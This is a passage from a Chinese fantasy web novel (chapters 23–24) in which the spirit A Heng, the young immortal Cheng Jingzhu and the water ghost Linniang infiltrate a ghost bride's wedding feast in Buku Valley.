“你也不好吃,”也许是嗅到他近在咫尺的血腥味,阿姮眉头轻轻皱了一下,“你实在是……太臭了。” 什么……好吃不好吃?! 男子浑身一颤,他眼睑猛然抽动几下,此时他方才觉得,这女子万般情态都有一种非人的阴寒,他嘴唇抖动:“你,你……” 红雾飘浮,那些家仆动也难动一下,个个面露惊恐。 此时,一仆人衣襟里一样东西震动着飞了出来,袭向阿姮后背,阿姮敏锐地转身抬手将那东西握在手里,却不料它在掌中疯狂跳跃,阿姮觉得不对,立即松手,那东西轻飘飘地落去地上。 阿姮看着自己掌心,多出一道微微泛光的裂口。 她的壳子被划破了。 阿姮脸上不再有任何笑意,她垂眸看向那地上的东西,那是一道折角的黄符,上面似乎有朱砂鲜红的笔划,不同于黑水村那老鱼头的乱涂乱画,这东西是真有些效用的。 阿姮一瞬将男子一脚踢到墙壁上,男子惨叫一声,转头只见竹签扎透他手掌,嵌入砖缝中,他被迫拢起手掌,血浸满一颗颗糖球,红得浓烈,再不剔透。 “鬼娘娘……鬼娘娘我错了!求你,求你放过我!” 男子痛得眼眶通红,惊恐地哀嚎。 “璇红?” 忽然,一道女声落来。 阿姮闻言,缓缓转过脸去。 秋风扫落几片枯黄的叶,幽幽巷口,那是一道墨蓝的身影,她撑着一柄牡丹红纸伞,午后的阳光底下,地上却没有半分影子。 她看见阿姮那双暗红的眼,似乎愣了一瞬,随后微微颔首,平静道: “抱歉,是我认错人了。” 第23章 第23章 “小神仙,我只跟着你啊。”…… 阿姮暗红的眼珠微微转动, 在她的视线里,所有的色彩都成为水墨皴擦过的浓与淡,好比这个悄无声息的女子,她衣裙浓郁如墨, 而伞上如簇的牡丹则是不那么纯净的白。 伞下昏昏, 女子面容不清。 阿姮在看她, 她亦在端详阿姮。 她似乎听到风中一阵清音,稍稍侧过脸去,却对阿姮道:“此地近年常有僧道往来, 我观姑娘涉世未深, 还是尽早离开的好。” 话音落, 她的身影在莹白的光中消散。 那男子本就被阿姮吓得肝胆欲裂, 此时得见这诡异一幕,又是浑身一抖, 什么声音也发不出。 阿姮听到那清音渐近, 很快,巷子口出现那黑衣少年的身影, 霖娘跟在他后面, 踮起脚往里面看了一眼, 吓得瞪起眼睛:“阿姮!这是怎么了?” 巷中红雾缭绕, 阿姮松开那支连同男子的手掌一起钉在墙上的糖葫芦, 她苍白的指尖不断有血珠滴落,却是一股难闻的恶臭。 “他请我吃糖葫芦,还说要请我去巢州城里吃醉蟹。” 阿姮不知道什么是醉蟹, 但她见过东海龙王的蟹兵,那些奇形怪状,全是硬壳, 很多只脚的家伙。 霖娘又惊又怕,挤进那些身体僵硬,动弹不得的仆人的包围圈里,一下抱住阿姮:“你没事吧阿姮?” 阿姮不解:“我能有什么事?” 这倒是的。 霖娘转过脸,只见那年轻男子满手的血浸在糖球上往下滴,很显然,真正有事的是他。 “阿姮,你不可以为了糖葫芦就轻易跟人走啊。” 霖娘简直不敢多看那人血红的手掌,她一下挪开视线。 “糖葫芦算什么?” 阿姮挣开她,抬起一只手,此时霖娘方才注意到她手上沾着很多血,但那显然不会是阿姮的,因为她不是人类,甚至连鸟兽所化的精怪都不是,她本无形,也不会有血。 鲜红的血珠点缀阿姮苍白的指节,她指尖捻着一样东西,那东西浑身嵌满饱满的珠石,阿姮此时看不出它更多的色彩,但那珠石粒粒剔透,光泽无限,阿姮问霖娘道:“是不是很漂亮?” 那年轻男子只恨自己疼到晕不过去,此时乍见阿姮手中那物,他才一下看向自己被钉在墙上的手,咦??他那么大一扳指呢? 霖娘愣愣地看着阿姮手中那只嵌满各色珠石,莹光璀璨的扳指,此时方才反应过来,原来阿姮是被这东西所吸引。 “丢掉。” 一道冷淡的声音落来。 阿姮抬起脸,隔着那些被她定住身的奴仆,视线落在那黑衣少年身上,他衣摆的黑,更衬他腰间法绳银亮若雪。 阿姮说:“它是我的了。” 她缓缓转过脸,看向那还在墙上无法动弹的年轻男子,双眸闪动暗红的光影:“对吗?” “对对对!” 那男子吓得几乎破音。 阿姮唇边浮出满意的微笑,正是此时,一道金芒擦过她指尖,那扳指瞬间落在地上,滚了几圈。 阿姮笑容一滞,一下回过头,盯住那黑衣少年。 她几乎将怒意写在脸上,而程净竹收了手,只看她一眼,又将视线落在一名奴仆脚边忽然跳跃起来的黄符上。 接着,巷口传来一阵急促的步履声,快要接近了,却又猛然停滞,随后一道惊疑的声音响起:“妖,妖孽?!” 阿姮看向程净竹身后,那个人停在不远处,一身灰布棉袍,一副寡淡到她根本记不住的五官,只是皮肉不松不皱,看起来是个年轻的,他只与阿姮对视一眼,便本能地抽出背在身后的剑,大喝一声,奔去:“大胆妖孽!快放开王公子!” 阿姮身形顿时化为红雾迎上去,擦过程净竹身边的刹那,他精准地抬手,红雾顷刻重新凝成女子的身形,阿姮低眼,看向自己被他稳稳攥住的手腕,再抬头,她暗红的眼盯住程净竹。 此时,程净竹腰间法绳飞出,缠住那人手中之剑,那人双手虎口被震得发痛,而淡淡红雾拂过剑锋,剑刃顷刻寸寸断裂,听铃哐啷地掉了一地。 那人脸色骤变,脸颊的肌肉微微颤动。 “何道长!快救救我!鬼娘娘要杀我!” 那王公子认清他的脸,便一下跟见了爹娘似的,泪如雨下。 “鬼……娘娘?” 那何道士却猛然一顿,他看向阿姮,又对那王公子道:“公子,这哪里是鬼娘娘,这分明是妖女!” 银尾法绳缠住何道士手腕,他一个激灵,却根本不敢轻举妄动,只将这手持法绳的黑衣少年打量一番,他有些不太确定地说道:“我观阁下即便不与我同道,也应该是同源的玄友,怎么竟与这妖物为伍!” “你身上有鬼气,”程净竹并不理会他的质问,而是审视着他满脸的擦伤,一身狼狈,“你遇见那鬼娘娘了?” 何道士却并拢双指,掐诀引咒一下挣脱法绳,转身就跑。 王公子瞪起眼:“你回来!回来!” 程净竹抬袖,一张白符飞出,顿时化为金焰织满一层网,封住巷口,那道士一头撞过去,直接被弹了回来,一屁股摔在地上。 “何道长!我们兄弟几个没少给你们钱吧?这一路谁不是妥帖地供着你们,怎么如今遇上事了,你竟只想着自己跑!” 那王公子胸膛起伏,说着,他脸色忽然一变,连忙质问道:“怎么就你一个人?张兄和李兄他们呢?” “他们……” 何道士一下浑身紧绷,像拉满的弓弦,他的脸色变得灰白:“他们都……死了!” “什么?!” 王公子瞪大双眼,不敢置信:“你是说他们两个都……” “不止……不止啊。” 何道士脸颊肌肉不住地颤动,声音沙哑得厉害:“我本与十几个师兄弟一道随张、李二位公子往万艳山去,行至半途,路过那不枯谷时,正逢天色黑透,不知哪里来的一阵狂风乱卷,张、李二位公子一下就不见了,我年纪小,被师兄弟留下等候,他们都一块儿去追了,可我在那儿等了一夜,天都亮了,也不见他们回来,我想用师门的黄符联系他们,却什么回音都没有……” 阿姮闻言,低头看了一眼地上的黄符。 原来这道士便是凭这东西找到这里来的。 “符咒是用我们师兄弟自己的血画的,它失去效用,便说明他们……”何道士眼睛泛起泪花,“他们死了。” “我正六神无主的时候,朦胧中见到一女子。” 何道士哽咽着说道:“我认出她乃是一道鬼影,当时狭路相逢,我硬着头皮与她过了几招,便寻了个机会……跑了。” “你们不是出身天都名观吗!我们兄弟好吃好喝供你们一路,没想到你们竟然这般没用!废物,都是废物!” 王公子怒骂道。 “我是出身天都名观不错,可……可名观之中也不都是名士,”何道士瘫坐在地上,神情委顿,“我年纪小,本事也小,可我师兄们都是有真本事的!是那鬼娘娘……太可怕了!” 王公子哪里还听得进去这些,他的脸色惨白:“张兄若是真出了事,那么他那个相国爹,是绝不会放过你,也不会……放过我的!” 他王氏商贾之家,哪里受得住相国一怒呢? “不枯谷离这里有多远?” 程净竹问那道士。 何道士垂着脑袋,低声道:“三十里。” 程净竹微微颔首,见阿姮又在看那地上闪闪发光的珠石扳指,且要俯身下去,他一把将阿姮拉起。 “不许捡。” 他说。 阿姮扬起脸,眉头渐渐拧起,她盯着程净竹,忽然一脚踩上去,那扳指应声而碎。 王公子正失魂落魄,听到这声音,他顷刻像是听到自己心碎的声音,他还没哭出声来,便见那黑衣少年将银白的法绳收回腰间,随后便抓着那红衣女子,绕开瘫坐在地上的何道士,往巷口走去。 而那披着黑纱的女子也赶紧跟了上去。 街上行人往来如织,一片人声鼎沸,阿姮被程净竹拉着,行走其中,不同于她冰冷的温度,他的掌心尤其温热。 他什么话也不说。 阿姮憋了一会儿,说:“他弄坏了我的壳子。” 街边食摊上烟熏火燎,天上日光正盛,程净竹垂下眼帘,阿姮便立即抬起被他捉住的那只手,向他袒露掌心,其中一道裂口微微泛着水色,全然没有人类的血液。 程净竹不言,握着她腕部的手却松开,指尖轻轻点在阿姮掌心的裂口,阿姮指节微微蜷缩了一下,她竟然感觉到一丁点被他触碰的痒意。 天光明亮极了,而在阿姮眼中,他仿佛是水墨描摹而成的轮廓,一副冷峻的底色,他指尖忽然用力,阿姮本能地要挣脱,却被他更紧地攥住手。 “还乱跑吗?” 他语气清淡。 阿姮与他掌心几乎紧紧相贴,她感受到那份人类的热意甚至更滚烫,她觉得不适,心中更不耐,但面对这少年那张没有什么表情的脸,她仍露出一分笑意,好似一只佯装温顺的兽类:“我怎么可能会跟别人跑呢?小神仙,我只跟着你啊。” 她讨好的模样极具欺骗性,因为她有一副看似天真的笑容。 她不再挣脱,反而屈起指节想要回握他的手,却是此时,程净竹毫不犹豫地松开她,阿姮只来得及虚握一把他的衣袖。 “别再有下次。” 阿姮听到他这样一句,抬起脸,只见他宽阔颀秀的背影,衣摆拂动,层叠如水墨山峦。 掌中温热犹在,阿姮垂眼,却是一愣。 那道裂口不复,她的掌心已完好如初。 “你们是如何找到我的?” 阿姮察觉霖娘跟了上来,她放下手,问道。 “我也不太清楚,我只见程公子抛出一道白符,那符咒便指了个方向,引着我们过来了。”霖娘说道。 阿姮没有说话,只是深深凝视着人群中渐远的那道背影。 如果她没有猜错,他一定在这副给她的壳子上做了什么手脚,借此掌握她的行踪。 “阿姮,我们快跟上去,程公子都走远了!” 霖娘拉住阿姮的手,说道。 阿姮被霖娘拉着往前走,穿过一重又一重的人群,阳光炽盛,而诸般目光不自禁地投向她。 她眼角眉梢都是笑意。 没关系。 不论他做了什么都没关系,只要破了他的金身,那么这身壳子还是她的壳子,而他的心脏,也会成为她的心脏。 出了榕树镇,人烟渐少,也许是因为不远就是不枯谷,再往前就是万艳山,所以越往前,越没有什么人家。 阿姮远远望见一条溪流,溪边长满莎草,有一个老妪跪在边上,她身边放着一只竹篮,篮中是剪裁的圆圆的纸,中间还有个孔洞。 那老妪将白蜡点燃,插在溪边,幽幽两簇火光跳跃,她缓缓将篮子中的纸拿出来点燃,烧掉,一簇一簇的火星飞浮,扬满溪边。 阿姮奇怪地问:“她在烧什么?” “纸钱。” 黑水村中也是有这东西的,霖娘辨认出来,又说:“她也许是在祭拜家人,但怎么在白天呢?” 他们三人越是走近,便越是听清那老妪苍老的声音:“鬼娘娘,今日是您的冥寿,老妇只有这些蜡烛纸钱,请您千万受用……” 霖娘几乎以为自己听错。 这老妪……竟然在祭拜鬼娘娘? 也许是年纪大了,直到他们三人此时近了,老妪方才有所察觉,她慢慢转过头,还算明亮的日光底下,她那张褶皱的,被火舌舔舐过的脸,展露完全。 霖娘吓了一跳,不由拉紧阿姮。 老妪眼睛似乎看不太清楚,她眯起眼,勉强辨认出两女一男三道影子:“你们是谁啊?” 程净竹观察她的脸,看起来的确是被火烧毁的,皮肤十分不平整,她脖颈上有一块麻布长巾,也许是被风吹的,所以才整张脸都露了出来。 “老人家,请问不枯谷在哪个方向?” 程净竹问道。 老妪迟钝极了,好一会儿才明白,随后颤颤巍巍地举起手,往右边指了指:“前面就是了。” “多谢。” 程净竹颔首。 老妪摇摇头,才要说些什么,面前的蜡烛却被风给吹熄了,她一下变得很着急,忙从怀里找火折子,可她眼神不好,记性也不行,忘了在哪儿。 程净竹俯身,双指一点烛芯,顿时一道亮光燃起,那老妪顿了一下,忽然就不那么焦躁了,她只能看见这少年一副模糊的影子,她说:“谢谢你。” “我方才听您在祭拜鬼娘娘?” 程净竹站直身体。 那老妪一下变得十分警惕,她连忙摇头:“没有!你听错了!” “总不可能我们三个都听错了吧?” 阿姮俯身,歪着脑袋看她:“你明明说,今日是鬼娘娘的冥寿,你请她吃蜡烛和纸钱。” 老妪似乎很害怕人这么凑近她,她一下子用长巾裹住脸,低着头,瑟缩起身体,不肯说话。 霖娘看着她,不由摸了摸自己的脸。 她走上前去,捡起老妪慌乱之下弄掉的木簪,重新簪回她花白的发髻。 老妪身躯僵硬,动也不动。 程净竹看她片刻,随后对阿姮与霖娘道:“走吧。” 三人回到路中间,顺着老妪所指的方向走去,秋风阵阵涌动,风中忽然传来那道苍老的,干哑的声音:“男人不要去不枯谷,更不要去万艳山。” 阿姮停下,回过头,此时天色有些阴,像是要下雨的前兆,风吹道旁衰草簌簌而动,那老妪仍跪坐在溪边,她面前那一点烛火焰光跳跃,迎风而不熄,那昏昏的光影,映照老妪佝偻的,枯瘦的一副身躯。 长巾包裹住了她整张脸,她说:“鬼娘娘憎恨男人。” 篮中的纸钱被秋风卷起,漫天纷飞。 天色昏昏,雨要落不落,洞窟中最先感受到明显的潮湿,此时洞中烛火昏昧,一张梳妆台上,满匣金银珠宝闪闪发亮。 一只苍白的,纤细的手指间捏着一副辑珠金凤钗,碧玉流苏轻轻晃动碰撞着她涂满鲜红丹蔻的指尖。 光滑明亮的铜镜映出她半张侧脸,桌边的胭脂粉散了些出来,她用一根手指慢慢地揉在苍白的面颊:“怪我,忘了还有个活的臭道士。” “春梁,他没伤了你?” 这道女声娇柔婉转,温柔至极。 在她身后,那女子一身鹅黄衫裙,此时正垂着脸,她一摇头,蓬乱的鬓边凤钗流苏晶莹晃动:“他好像没什么本事,反倒被我吓跑了。” 闻言,那镜前的女子不由发出一声轻笑:“我知道你被那叫净空的和尚捉去,受了苦,放心,我会好好收拾他的。” 她的嗓音又轻又慢,令人不寒而栗。 春梁抬起脸来,看见案上那一顶精致美丽的凤冠,她面上露出踌躇之色:“璇红姐姐,今日是国主的生辰,你……不回去么?” 镜前,女子拨弄凤钗的手指微顿,她似乎轻轻嗅了嗅风中的余味,随后嗤笑:“她的生辰,有那么多人都惦记着呢,何必多一个我。” “璇红姐姐……” 春梁动了动嘴唇。 “今晚是我的好日子。” 女子将凤钗搁下,又捧起那凤冠,冠上珠玉碰撞出清脆的声响:“春梁,别扫我的兴。” 天还没有黑透,已是小雨霏霏。 不枯谷中响起锣鼓,唢呐高亢的调子盘旋于整个山谷,山道上,衣饰鲜亮的一队人马缓行其中,阿姮站在崖上,居高临下地打量着那些人。 朦胧雨雾中,他们看起来肢体十分僵硬,红布缠住了脸,甚至看不出来性别,有些手中提着灯,但薄薄的灯纱中,跳跃的却是幽幽磷火。 “看起来不像人类。” 阿姮说道。 “那像什么?” 霖娘撑着一把伞,才不至于沾到雨水。 “木偶。” 程净竹打量着他们僵硬的关节,说道。 “木偶?” 霖娘不禁又看了一眼底下,除去那些敲锣打鼓,吹唢呐的,中间都是彩衣女娥,她们个个纤腰秀项,一边走,又一边不自禁回头望向被人抬着的那顶红轿。 说是轿子,其实就是几层红纱覆盖起来的滑竿,水珠不断从滑竿中淌下来,一女娥用绣帕掩着嘴笑:“这回的新郎不会还没到堂上,便要化了吧?” 其他几个女娥也跟着娇笑起来。 “她们是鬼。” 霖娘怎么说也是水鬼,虽与这些鬼不太相同,但也是能看出端倪的:“看来,轿子里便是鬼娘娘新娶的新郎了!” “那我们……现在怎么办?” 底下磷火营营,霖娘有点害怕。 阿姮看着底下那些鬼影托着红轿,点着磷火,很快往前面去了,她忽然问霖娘:“你们人类娶亲都要做什么?” 霖娘不明所以,但还是说道:“拜堂,摆宴席什么的吧。” “宴席?” 阿姮来了点兴致,又问:“那女鬼成亲,要不要摆宴席?” “……呃,也许吧。”霖娘也说不准。 细雨如丝,点缀阿姮乌黑的鬓发,她一把抓住程净竹的衣袖,弯起眼睛:“小神仙,我们去吃席吧!” 第24章 第24章 “可他是我的布娃娃。”…… 夜色昏黑, 送嫁的鬼影重重,托着那一顶鲜红的轿子往不枯谷深处前行,越往里去,雨雾越浓, 女鬼们身姿袅娜, 个个装束整齐, 云髻钗环。 轿子两边各一名提篮的女鬼,她们纤细的手指在篮中微微一拂,伴随篮中点点磷火纷飞而出, 臂弯的披帛被风轻轻牵起, 衣袂缥缈, 如梦似幻。 她们或耳语, 或轻笑,冥冥磷光点缀她们的裙摆, 阿姮不远不近地跟在后面, 看她们朝那些抬着轿子的木偶人们招了招手,随后足下生烟, 于氤氲中身影浮起, 飘入一片白茫茫的雾中, 那些敲锣打鼓的木偶人们也随之而起, 很快没入雾中, 抬着轿子的木偶人亦紧跟其后,很快,轿子后被风吹起的一片鲜红的纱幔隐没无痕。 鬼女不见, 木偶失踪,此时寂无一声,山间唯余一片雾气忽浓忽淡, 又隐约展露一片无垠的旷野,而旷野之间,绿芒闪烁。 “不见了?” 霖娘亦步亦趋地跟在阿姮身边,抱着她的手臂,一时心惊胆颤。 细雨迷蒙,天色昏黑,程净竹指尖托着一道焰光,只见那雾中一片原野,他毫不犹豫地走上前去。 阿姮拖着个胆小如鼠的霖娘也跟了过去。 越往前,雾越浓,白茫茫的一片,遮天蔽目,霖娘就在身边,仍紧紧抓着阿姮的手臂,但阿姮却发现忽然听不见雨珠敲打霖娘伞沿的滴答之声。 湿润的雾气拂面,阿姮眼睫轻眨,忽然间,云消雾散。 眼前极致的白顷刻化为浓郁的黑。 阿姮发现自己已置身于一条幽深的甬道。 “这……是怎么回事?” 霖娘大吃一惊,没明白方才的荒野如何一瞬化为石中之窟。 “鬼魅幻术。” 程净竹的声音落来。 阿姮一瞬抬眼,洞中磷火幽微,照见立在不远处的那黑衣少年,他以指尖那道不灭的焰光在一张白符上画出几道金痕,随后将白符贴在自己身上。 随后,他胸前的宝珠散发莹光,使他身形瞬间消散,霖娘惊呼了一声:“程公子?” 阿姮几步上前,看向四周,却听那道清泠的嗓音响起:“阿姮姑娘。” 阿姮循声低头,幽幽磷火映照她脚边一只布娃娃,她面上浮出惊奇之色,立即俯身将那娃娃捡起来。 它头发银灰若缎,穿着一身黑衣,腰间绑着根银亮的法绳,胸前挂着那串水青的宝珠,没有五官,只在大约眉心的位置有一点红痣般的印痕。 “小神仙?” 阿姮捧着这个无脸娃娃,新奇极了。 霖娘已然目瞪口呆:“天啊……” “除了木偶人与新郎,鬼娘娘见不得任何男人,为避免打草惊蛇,我只能暂施傀儡术,隐去我声息,”布娃娃动也不动,那道沉静的嗓音却落在她二人耳边,像是顿了一下,“阿姮姑娘,不许乱动。” 他语气微冷,十分不善。 “哦。”阿姮抿唇笑着,收回了摆弄娃娃头发的手指。 春梁从石室中出来,走到开阔的正堂中,此处乃是璇红新找的洞府,所以内饰不齐,但鬼女们还是将这里精心装扮过了,地上铺有红绒毯,又有雕梁花罩,立柱间纱幔轻卷,再看堂中桌椅俱全,四下灯盏明光,案头花瓶簪香。 不多时,堂中鬼女齐聚,各自端坐席间,她们一见春梁,便以绣帕相招,春梁一走过去,她们便围起她,一名青衣女鬼握住她的手,细长的眉蹙起:“春梁妹妹,那和尚没伤着你吧?” 春梁摇摇头。 鬼女们都松了口气,那青衣女鬼轻拍着春梁的手背:“那和尚真是可恶,我们听璇红姐姐的吩咐四处寻你,遍寻不到,还以为……” 春梁眼中含泪,微微垂首:“我本也以为要再见不到众姐妹,也不知那和尚是与谁交手,竟被人打碎了法铃,才令我逃出生天。” “不论如何,这都是妹妹你的好造化。” 那青衣女鬼按着春梁的肩在桌边坐下,另一名年轻的女鬼立即摘下髻间的玉梳递给她,青衣女鬼接过来,便摘下春梁鬓边的发钗,替她梳理蓬乱的发:“你啊,本不该自己去榕树镇接人,若叫上我们姐妹一道,说不定那和尚早成了死人一个!” 青衣女鬼声音平和,却令春梁脊背微微发寒,她抬起头:“今日,你们都不回山上吗?” 堂中忽然一静。 青衣女鬼替她梳头的动作一顿。 春梁道:“今日,是国主的生辰。” 堂中死寂,许久,春梁方才听见身后的青衣女鬼微微叹息,说道:“我们怎敢再见国主呢?” “唯有遥祝而已。” 鬼女们低着头,不知谁轻声说道。 春梁抿了抿唇,不说话了,好一会儿,她忽然听见一阵很轻的步履声,目光移向不远处的洞口,那里幽深昏暗,伴随越来越近的步履声,两道纤瘦的身影从漆黑中显露出来。 原是两名女子。 左边那个身穿烟紫衫裙,一层皂纱将她的头发与脸都裹得严严实实,只露出一双水盈盈的杏眼,她似乎有些害怕,双手挽着右边那个红衣女子。 那女子衣裙绯红,一副苍白的面容,乌浓的鬓边点缀鲜艳的红山茶,她怀中抱着一个布娃娃,那娃娃像是被精心装扮过,一身珠饰漂亮极了。 堂中二十余名鬼女警惕地凝视她们。 “你们是谁?” 那青衣女鬼问道。 “请问,”阿姮漆黑的眼眸微微弯起,她扫视了一番堂内这些衣饰鲜艳的鬼女们,“你们这里有宴席吃,是不是?” 这时,另一边的甬道中传出一阵娇笑声,不多时,十来个女鬼款款而来,她们正是那送嫁队伍中的女鬼。 此时堂内烛火朗照,她们髻中的钗环,耳边的明珰,颈项间的项链,映照她们美貌姿容,艳光更甚。 “晴芸,这两位是?” 她们也看见对面甬道口上的两个女子,有人便走到那青衣女鬼身边,问道。 那晴芸打量着阿姮与霖娘,而后说道:“她们似乎是来吃喜宴的,你们连自己身后带没带尾巴都不知道。” “哎呀。” 那女鬼惊呼一声,随后快步走到阿姮与霖娘面前去,霖娘紧紧地贴着阿姮,只见那女鬼手中拿着一柄团扇,扇上绣着一幅蝶扑牡丹,随着女鬼围绕着她们两个打量,那团扇带起的风一阵又一阵。 “这位姑娘身上有十足的鬼气……”那女鬼停下步子,忽然凑近霖娘,似乎在嗅闻着什么。 霖娘满背冷汗,她掌心里紧紧地攥着一张折起来的白符,那是程净竹事先给她的,用以遮掩她身上浓重的水气。 “不知姑娘是如何死的?” 那女鬼问道。 “我……”霖娘知道女鬼没发现她实则是个水鬼,暗暗松了口气,随后低下头去,面露凄哀,“我是被情郎所骗,被他杀死的。” 霖娘的话真假参半,那女鬼听了,不由拧起秀眉:“竟有这等事!作孽的男人,简直该死!” 那晴芸也款步来到霖娘与阿姮身边,她的目光在阿姮身上游移,问道:“那么这位姑娘呢?” 阿姮身上也有一道白符,浸满了霖娘的鬼气,暂时隐去了她的妖气,听见晴芸问话,她抬眸对上晴芸审视的目光,笑着说:“我杀了她情郎。” 晴芸一愣:“……什么?” 霖娘一个激灵,赶紧张嘴:“她她是说!我情郎杀了我,然后……然后她杀了他,再然后……” “难道官府治了这位姑娘的罪?” 春梁扶着被姐妹们梳好的鬓发,站起身:“杀头之罪?” “对!” 霖娘连忙点头,然后紧紧抱住阿姮,一副要哭不哭的样子:“我与阿姮本是最要好的姐妹,她见我被人害,所以才……” 那晴芸心中本有疑窦,但见这般姐妹之情,她面上不由松动了些,其他鬼女们则连忙将这两位孤魂簇拥着去席间坐下。 “想不到两位妹妹还有这般堪比金石的情谊啊。” “是啊,真教人感动!” 鬼女们围着她们两个,七嘴八舌地说道。 霖娘一时有些晕晕乎乎的,这洞窟之中雕梁立柱,轻纱慢舞,案上还有香炉幽幽冒烟,哪里像个鬼怪洞府。 “你们可是听说了此地有个女儿国才来的?” 春梁问道。 女儿国? 霖娘有些茫然,巢州不是岐泽国的地界么?又怎么来的女儿国? 此时忽然一阵悠扬的乐声响起,阿姮望向右边一道纱帘内,姿态僵硬的木偶人们开始操纵起丝竹。 “璇红姐姐要出来了,我们快去带新郎!” 一名女鬼说道。 一时间,十几个女鬼轻迈莲步,款款移向甬道中去,晴芸则指挥着剩下的女鬼将备好的菜肴端上桌来。 但这里也没有什么其他宾客,女鬼们摆好宴席,便各自入座,那春梁正坐在阿姮身边,只见菜肴一上桌,阿姮便拿起筷子,慢条斯理地夹菜吃。 明堂正中,红色的流苏帘子后出现一道身影。 春梁与一众女鬼都站起来,齐声唤:“璇红姐姐。” 霖娘也赶紧站了起来,她紧张地拽了拽阿姮,却没拽动。 那女子轻声笑着:“你们都坐,这样的游戏你们也不是第一回陪我玩,何必一个两个都这样。” 这声音又轻又缓。 春梁她们又都坐了下去,一时间,堂内女子欢笑无限,春梁看了一眼身边的阿姮,她抱着个布娃娃,仍在心无旁骛地吃饭。 似乎真像她所说,她是来吃酒席的。 春梁看了会儿,不由轻声问霖娘:“这位阿姮姑娘真是被杀头,而不是……饿死的么?” “……哈哈。” 霖娘讪讪一笑。 一阵阴冷的风拂过,阿姮鬓边浅发微扬,她终于停筷,抬起头看向那道流苏帘子,被风微微吹开的帘后,是一张贵妃软榻,榻上斜靠着一女子,墙面上映出那女子头上花冠的影子,却没有她的影子。 “有新客啊。” 那女子在帘后幽幽道。 春梁立即站起来,说道:“璇红姐姐,她们是为女儿国而来的。” 阿姮看了一眼春梁,指间的筷子早丢在桌上,手指正百无聊赖地勾着布娃娃的头发丝玩儿。 那女子忽然又笑起来,笑声里透着一股阴冷:“春梁,那你有没有告诉她们找错了地方,我这里是吃人窟。” 春梁低头,说道:“姐姐勿怪,我这就带她们走……” “走什么?” 流苏帘后,那道女声变得懒懒的:“既然来了,便都是客。” 晴芸见此,立即站起身来,拍了拍掌,随后,丝竹声乐陡然变换,那甬道口点缀的几处文竹在嶙峋的石壁上影子晃动。 很快,甬道里最先有一个女鬼探出头来,她眼眉带笑,神采奕奕,错开身去,身后数个姐妹便抓着一个红彤彤的影子穿过竹桥,往堂上来。 “救命啊!” 那身形瘦长,被红纱一层层蒙住的脸的男子浑身抖如筛糠,哀哀地喊道:“鬼娘娘,放过我吧!” 满堂女鬼顿时笑成一片。 只有阿姮身边的春梁低着头,没有笑意。 但好像……也不是。 阿姮轻抬眼帘,看到相隔几桌的一名蓝衣女鬼似乎想要起身,她左右另两名女鬼则立即按住她手背。 那两名女鬼很小心地凑过去,正轻声对那蓝衣女鬼说了声什么,那蓝衣女鬼方才不再动。 阿姮盯着那蓝衣女鬼,眼中暗红的光微微闪动。 “阿姮,我觉得他……声音怎么有点耳熟?” 这时,霖娘凑了过来,在阿姮耳边小声说道。 阿姮闻言,这才去仔细打量那个正被一众女鬼调笑的新郎,一名女鬼踢了他屁股一脚,他直接扑倒在地,四仰八叉,鬼女们又是一阵大笑。 那新郎蜷缩在地上,也不知道为什么,身上渗出水来。 “璇红姐姐,你再不来看你的新郎,他恐怕就要化了!”一女鬼用绣帕捂着嘴笑道。 其他女鬼也跟着笑。 满堂粉黛,香风如缕。 阿姮见那流苏帘中探出一根苍白的手指,那指甲上涂着鲜艳的红色,她指节屈起,勾开帘子,堂内红纱绢灯与橙黄绢灯交相辉映,昏昧的光落在那帘中半露出的侧脸,乌黑若云的发髻,玛瑙珠钗斜簪鬓边,耳边银色的凤羽纤毫毕现,点缀红玛瑙珠,轻盈灵动。 “我就知道你们要笑话我娶来一个湿漉漉的郎君。” 她红艳艳的嘴唇微微勾起,嗔道。 很快,她将那帘子又拉开了些,几步走入明光中,此时,阿姮方才得见她的全貌,她发髻中间簪着凤鸟银羽冠,鸟首双眼仍是小巧的红玛瑙珠,鸟喙处衔着一颗珍珠与一颗玛瑙珠,随着她的一举一动而在眉心微微晃动。 她身上穿着大红的衣裙,襟前,袖口,乃至衣摆都绣有凤鸟的尾羽,灯烛之下,泛着丝线独有的光泽。 也许是涂过胭脂的缘故,她的脸色并不苍白,而很有几分人的血气,堂内灯火映照她满头珠翠流光熠熠,更衬她画黛弯蛾,红妆绝艳。 听到女鬼们发出赞叹的声音,她满足地笑了一声:“我今日装扮,是否更胜从前?” “是啊璇红姐姐!” “这回的嫁衣真是好看,你的凤冠也好看!” 女鬼们围上去。 “好了。” 璇红站在阶上看着她们,微微抬起下颌:“快让我见一见我的新郎君。” 女鬼们立即让开一条道,簇拥着璇红。 阿姮几乎目不转睛地看着璇红胸前的璎珞,再看她腰间精美的环佩,她不由想起今日榕树镇上从那王公子手上拔下来的扳指。 她戳了戳布娃娃的脸。 原本动也不动像个死物的布娃娃微微泛出光泽,却没有任何动静,阿姮两只手捧着布娃娃,对他说道:“你欠我宝石扳指。” 没有任何女鬼注意到阿姮这边的动静,她们也都不在席上了,都围了过去,看璇红扯那新郎脸上的红纱。 布娃娃仍无动静,阿姮又戳了戳他眉心的红痕。 这一刻,阿姮听到一道忍无可忍的风音:“别在这里生事。” 除了她之外,没人听到这声音。 阿姮微微弯起眼睛。 粉黛丛中,那裹在新郎头上的红纱很长,每个女鬼几乎都要上前去解下一圈来,又传给下一个女鬼,如此一圈又一圈,那新郎晕头转向,衣摆滴下来更多的水珠。 女鬼们一片欢声笑语,那红纱还到璇红手中,璇红用力一拽,那新郎转了个圈,栽倒在地,头上再也没有遮掩。 他先吐出一大口水来。 女鬼们连连后退,有的用团扇遮脸,有的用绣帕捂嘴。 他越吐越多,有女鬼不禁嫌弃道:“璇红姐姐,他也太恶心了。” 璇红走上前,涂满丹蔻的手轻抚上那新郎的肩,新郎浑身一颤,她的手顺势往上,越过他的脖颈,抓住他的发髻,迫使他仰起头来。 新郎一抬头,女鬼们围上去,上下打量起他。 “璇红姐姐,这个长得不太……” 有女鬼蹙起柳眉,说道。 “这已然是我从那些不知死活的家伙里挑出来的勉强能看的一个。”璇红睨着他,神情似乎也不算很满意。 “鬼娘娘啊!小生自知长得太丑,配不上您,配不上您啊!” 新郎崩溃大哭。 透过女鬼们身影间的缝隙,霖娘终于辨清那张脸,她倒吸一口凉气,瞪起眼睛,一下看向阿姮:“那不是……” 那不是何秀才吗! 阿姮端着杯盏,不知道里面是什么,有点辣辣的,但是又有一种醇厚的香味,她抽空看了一眼那边,也认出那何秀才来。 “瞧他吓成这样,好没出息!” 一女鬼用团扇掩着脸,笑道:“就他这样,还敢跑到这儿来替什么阎王爷办差呢!” “快来抓他跟姐姐拜堂!” “快呀!” “抓住他哈哈哈……” 